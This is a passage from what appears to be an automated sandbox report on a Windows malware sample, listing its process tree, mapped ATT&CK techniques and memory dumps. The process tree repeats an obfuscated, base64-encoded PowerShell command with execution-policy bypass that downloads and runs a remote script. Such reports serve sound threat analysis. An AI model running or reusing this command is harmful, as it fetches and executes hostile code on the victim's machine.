  PID:1428

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1124
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2880

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:944
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/864-243-0x00000264FFC16000-0x00000264FFC18000-memory.dmp

Filesize
8KB

Download
memory/864-244-0x00000264FFC18000-0x00000264FFC19000-memory.dmp

Filesize
4KB

Download
memory/864-241-0x00000264FFC10000-0x00000264FFC12000-memory.dmp

Filesize
8KB

Download
memory/864-242-0x00000264FFC13000-0x00000264FFC15000-memory.dmp

Filesize
8KB

Download
memory/1344-169-0x00000210B4690000-0x00000210B4692000-memory.dmp

Filesize
8KB

Download
memory/1344-193-0x00000210B4696000-0x00000210B4698000-memory.dmp

Filesize
8KB

Download
memory/1344-170-0x00000210B4693000-0x00000210B4695000-memory.dmp

Filesize
8KB

Download
memory/3060-134-0x000001E259A90000-0x000001E259A92000-memory.dmp

Filesize
8KB

Download
memory/3060-135-0x000001E259A93000-0x000001E259A95000-memory.dmp

Filesize
8KB

Download
memory/3060-145-0x000001E259A96000-0x000001E259A98000-memory.dmp

Filesize
8KB

Download
memory/3060-125-0x000001E259A20000-0x000001E259A21000-memory.dmp

Filesize
4KB

Download
memory/3060-128-0x000001E271C80000-0x000001E271C81000-memory.dmp

Filesize
4KB

Download
memory/3060-143-0x000001E259A60000-0x000001E259A61000-memory.dmp

Filesize
4KB

Download
memory/3060-150-0x000001E2721C0000-0x000001E2721C1000-memory.dmp

Filesize
4KB

Download
memory/3060-151-0x000001E272550000-0x000001E272551000-memory.dmp

Filesize
4KB

Download
memory/3060-152-0x000001E259A98000-0x000001E259A99000-memory.dmp

Filesize
4KB

Download
memory/3172-116-0x000001C15B130000-0x000001C15B132000-memory.dmp

Filesize
8KB

Download
memory/3172-118-0x000001C15B135000-0x000001C15B136000-memory.dmp

Filesize
4KB

Download
memory/3172-114-0x000001C15B400000-0x000001C15B6AA000-memory.dmp

Filesize
2.7MB

Download
memory/3172-117-0x000001C15B133000-0x000001C15B135000-memory.dmp

Filesize
8KB

Download
memory/3172-119-0x000001C15B136000-0x000001C15B137000-memory.dmp

Filesize
4KB

Download
memory/3920-205-0x0000023A9C058000-0x0000023A9C05A000-memory.dmp

Filesize
8KB

Download
memory/3920-203-0x0000023A9C053000-0x0000023A9C055000-memory.dmp

Filesize
8KB

Download
memory/3920-202-0x0000023A9C056000-0x0000023A9C058000-memory.dmp

Filesize
8KB

Download
memory/3920-201-0x0000023A9C050000-0x0000023A9C052000-memory.dmp

Filesize
8KB

Download
memory/4004-207-0x00000258B4173000-0x00000258B4175000-memory.dmp

Filesize
8KB

Download
memory/4004-206-0x00000258B4170000-0x00000258B4172000-memory.dmp

Filesize
8KB

Download
memory/4004-209-0x00000258B4178000-0x00000258B417A000-memory.dmp

Filesize
8KB

Download
memory/4004-208-0x00000258B4176000-0x00000258B4178000-memory.dmp

Filesize
8KB

Download